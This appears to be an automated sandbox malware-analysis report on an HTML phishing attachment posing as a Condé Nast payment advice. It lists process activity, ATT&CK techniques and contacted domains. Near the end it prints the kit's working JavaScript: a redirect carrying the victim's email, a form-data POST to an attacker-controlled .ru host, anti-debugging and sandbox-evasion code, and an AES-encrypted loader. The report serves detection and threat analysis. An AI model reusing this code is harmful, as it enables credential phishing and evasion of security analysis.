Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1948,i,17218853345926001592,13168728609757809945,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpagar@condenast.com.mx

HTTP Parser: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpagar@condenast.com.mx

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/Condenast%20eCHECK-%20Payment%20Advice.html	0%	Avira URL Cloud	safe
https://cciq.absousium.ru/favicon.ico	0%	Avira URL Cloud	safe
https://ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru/2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF	0%	Avira URL Cloud	safe
https://cciq.absousium.ru/o5b8DXA/	0%	Avira URL Cloud	safe
https://ecohomethings.net/res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
cciq.absousium.ru	104.21.16.1	true	true	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
s-part-0033.t-0009.t-msedge.net	13.107.246.61	true	false	high
ecohomethings.net	103.83.194.55	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.181.228	true	false	high
ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru	104.21.42.208	true	false	unknown
www.office.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD	false		high
file:///C:/Users/user/Desktop/Condenast%20eCHECK-%20Payment%20Advice.html	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/	false		high
https://ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru/2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1568eaca342db&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ff1568eaca342db/1736393317397/H_MHCiTlQOd4REn	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ff1568eaca342db/1736393317396/fb443b32309dcb3307d1d0ef1805c65e6c0628957a81749f2154f5b42a23a3df/9GJE3-f8vZDVkzl	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js	false		high
https://ecohomethings.net/res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech	false	Avira URL Cloud: safe	unknown
https://cciq.absousium.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpagar@condenast.com.mx	true		unknown
https://cciq.absousium.ru/o5b8DXA/	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=VUSl67gPE6Oc9N9HEgIsdhZ09UQIgz9D1a8PyNLUD6IF%2F3%2BsryllKu%2F0wi48%2Ftfg4dqeRkv%2FPwkH7Jts%2Fmaxw37N9KCyDtgeN1%2F24bZ97%2FVIGzs4p4eavsp%2FTJlCZA%3D%3D	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.microsoftonline.com	chromecache_126.2.dr, chromecache_117.2.dr	false		high
https://login.windows-ppe.net	chromecache_126.2.dr, chromecache_117.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.42.208	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	cciq.absousium.ru	United States	13335	CLOUDFLARENETUS	true
103.83.194.55	ecohomethings.net	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586430
Start date and time:	2025-01-09 04:27:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Condenast eCHECK- Payment Advice.html
Detection:	MAL
Classification:	mal64.phis.evad.winHTML@29/81@44/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 142.250.185.110, 142.251.168.84, 142.250.184.238, 172.217.16.206, 142.250.181.238, 199.232.210.172, 142.250.186.138, 142.250.181.234, 216.58.212.138, 172.217.18.106, 142.250.186.42, 142.250.185.138, 142.250.184.202, 216.58.206.42, 172.217.23.106, 142.250.186.74, 142.250.186.106, 142.250.185.74, 172.217.18.10, 142.250.185.202, 142.250.186.170, 142.250.185.234, 192.229.221.95, 142.250.186.78, 142.250.186.46, 20.190.159.0, 40.126.31.67, 20.190.159.71, 20.190.159.64, 20.190.159.23, 20.190.159.4, 40.126.31.69, 20.190.159.2, 13.107.6.156, 20.190.159.73, 40.126.31.73, 40.126.31.71, 142.250.74.202, 142.250.184.234, 142.250.185.106, 172.217.16.202, 216.58.212.170, 216.58.206.74, 142.250.185.170, 13.69.116.108, 20.50.80.210, 142.250.184.206, 216.58.206.78, 20.190.160.17, 40.126.32.76, 40.126.32.136, 20.190.160.20, 40.126.32.74, 40.126.32.133, 40.126.32.72, 40.126.32.134, 142.250.186.35, 172.217.18.14, 2.16.238.152, 2.16.238.149, 142.250.185.206, 95.101.54.113,
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, a1894.dscb.akamai.net, onedscolprdweu15.westeurope.cloudapp.azure.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, login.mso.msidentity.com, optimizationguide-pa.googleapis.com, clients1.google.com, www.tm.ak.prd.aadg.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.ak.prd.aadg.akadns.net, www.tm.v4.a.prd.aadg.akadns.net, b-0004.b-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, onedscolprdneu05.northeurope.cloudapp.azure.com, nel.measure.office.n
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: https://microsoftonline.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoftonline.com
URL: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpa... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It collects user data and sends it to an untrusted domain, and it also attempts to bypass form submission. These behaviors are highly indicative of malicious intent, such as phishing or credential theft." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA3Q2biiOsc--vat', 'error-callback': vfhXdbzTRP, callback: jizOxZowIS, }); function vfhXdbzTRP() { turnstile.reset(); } function jizOxZowIS() { var dLyNGlgcnf = document.getElementById("YiCQCThFuK"); dLyNGlgcnf.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'd7YW'; var mSIdgDTZAB = "../yvSsqUGEPV8nEIIozlgNvzbc9U1J32lvctn"; fetch('https://CKfucBNuQ45XxM9wui64HMdaEjy0EFPtEhHe0WI6BQhTCQEDCCnMS0dM.ivertoneym.ru/2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(mSIdgDTZAB, { method: "POST", body: new FormData(dLyNGlgcnf) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(HynLqWolPC == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: file:///C:/Users/user/Desktop/Condenast%20eCHECK... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the aggressive manipulation of the DOM further increase the risk. While the script's intent is not entirely clear, the combination of these factors suggests a high likelihood of malicious activity, such as phishing or credential theft." }
let url = null; if (!"#Xcuentasporpagar@condenast.com.mx".includes('#')) { url = "https://cciq.absousium.ru/o5b8DXA/"; } if ("#Xcuentasporpagar@condenast.com.mx".includes('#')) { url = "https://cciq.absousium.ru/o5b8DXA/" + "#" + String.fromCharCode(Math.floor(Math.random() * (90 - 65 + 1)) + 65); } var MTQHbHkOTycmFaxv = document.createElement('a'); MTQHbHkOTycmFaxv.href = url+"#Xcuentasporpagar@condenast.com.mx"; document.write(MTQHbHkOTycmFaxv); document.body.innerHTML = ""; document.body.appendChild(MTQHbHkOTycmFaxv); MTQHbHkOTycmFaxv.click();
URL: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpa... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including disabling common developer tools and keyboard shortcuts, as well as redirecting the user to a suspicious domain (login.microsoftonline.com) after a specific time delay. The script appears to be attempting to prevent analysis and hide its true purpose, which is likely malicious." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); HynLqWolPC = false; (function FhUjHxDLVU() { let sjVBdheKqk = false; const OoccYPQjXm = 100; setInterval(function() { const GELmTNugqB = performance.now(); debugger; const TrdXHvbZte = performance.now(); if (TrdXHvbZte - GELmTNugqB > OoccYPQjXm && !sjVBdheKqk) { HynLqWolPC = true; sjVBdheKqk = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://ecohomethings.net/res444.php?2-68747470733... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be using legitimate cryptographic libraries, the overall behavior and lack of transparency raise significant security concerns." }
var akaiWbAWAVInuEZs = document.createElement("script"); akaiWbAWAVInuEZs.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); document.head.append(akaiWbAWAVInuEZs); akaiWbAWAVInuEZs.onload=function(){ var {a,b,c,d} = JSON.parse(atob("eyJhIjoidkdUcHB5QUlpRUtyNmRZUUd0bVk0SXNOQ1VkUmU2clRoVGRlcTZzRmtZT2FMRXZGcmNNM1YrOVNwY00zaEU5YXNzdWdJUVB6RjhGcFEwK2puN2o2dWQ2Q1JQM05OWUJEdTlWcFUxT0d6NVFxSU8wUWNHdHJscUN0a2xDXC84a0tSczdodHJRZWlkbURmZEVIQzRrcUlwXC9pWW5lRUoyY0MrWUNnclIxYWZYVUc3WlUwbzBPSUg0eUUwTVJHOVE1RTVcL1wvMlZKNE1pOFN0cklPdjBXcEFhc0Y2SHBxQk54WDUrdnVlRVJDbDA4bHl0M3FpZ3Awc1Jxc0ZiUVFhaXF1eTBvK3N3SnJ4TkE3aXowXC9XS2J0ZXZ5MlNyRE9tbnNOemVmTmNMUVBKY3FEWGc5cHBuaXBcL1pNRjFMWlJqTG9sWXhCaWlQcVJjbVFRZjF2V2l1S0FBS3RocG9JRUlFUW9YNDJyMXlxcURyM1wvXC9zT0FKYVJoUTVRbXRMZ1ZEV0Q1clMrZXJOV05mWkRlamRGMkxyUllCcjlNVWNCbTJaOG1za2cwNzUxTWtzQWhYMldoOUhMV05JNEt0cXMwVzhjS0tmWE9wSWFOSFwvM3pCYjFoTjN1a2EwSzZIM2hUQVZwSTdvazRmazVKdERKNGRzeDNHYkpcLzVFMzQ4NXI4U2RKN0RLb3JkcHU3UWt6cUlwXC9STnQ0RXhPUjBLb0xIMkZRc3d2OWJkdUxJMUNJeld2Q2pQdTV1OXluRVdwUldCam8xSks0aDRZZUVJeXlodUlWWHdWelJlTEZcLzdFRzl3cldoSTJ3RjdPZmUrMFRhSXhwSVphcVcxOW91cWlzZE1xSEJIS1VHTUtXVndCT3VLZ2t2XC9XZ2xJekx4dEZCVE16YTRScW9Ld1ZINkFtUGh0aDJtZ1lvRERsanNZWTNLRXRQNDZVWlBQTVhIRHZqTXU1OXdrNFduQ0JpaG90TFpYcXlYc1BhdEhmdlh1VGZNZTJRVVFSUlhEaUNGUFQ2R3BLc0MrcTZUZ09NbVQ5MVlHdHhqSUk0a1dZWFwvdGJaQWFCK29pRWZiTTU3amZQUnBNPSIsImIiOiI5Njk0YzIwN2I1ZWUwMWNkODBlNDlhZmRjZWYyNjQyMyIsImMiOiJhMDFlYTM5MGJmYjA4NDM5ODJiOGNiMGVmNmRlYWI2YSIsImQiOiI2NjY1MzA2MzMxMzMzMjYxMzgzODYxMzIzNzMxMzEzNjMwNjM2NTY1MzgzNDM4NjU2MjM2NjQ2MjMxNjUzODM1In0=")); var XZiklShjBzAKphkx = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999}); OOnodXQkTjlFldvu = CryptoJS.AES.decrypt(a,XZiklShjBzAKphkx,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8); OOnodXQkTjlFldvu = OOnodXQkTjlFldvu.replace(/hSGoBjRcXctQAiAJ/g, beech); document.write(OOnodXQkTjlFldvu); }
URL: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpa... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent." }
if(atob("aHR0cHM6Ly9jY2lxLmFic291c2l1bS5ydS9vNWI4RFhBLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNZWlZ2VHdRVEVmIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1laVnZUd1FURWYgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1laVnZUd1FURWYgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojWVpWdlR3UVRFZiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1laVnZUd1FURWYuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogODVweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI1laVnZUd1FURWYgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNZWlZ2VHdRVEVmIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojWVpWdlR3UVRFZiAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNZWlZ2VHdRVEVmIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNZWlZ2VHdRVEVmIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojWVpWdlR3UVRFZiAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojWVpWdlR3UVRFZi5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI1laVnZUd1FURWYgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNZWlZ2VHdRVEVmICNZUml0UVB0TmN5IHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkg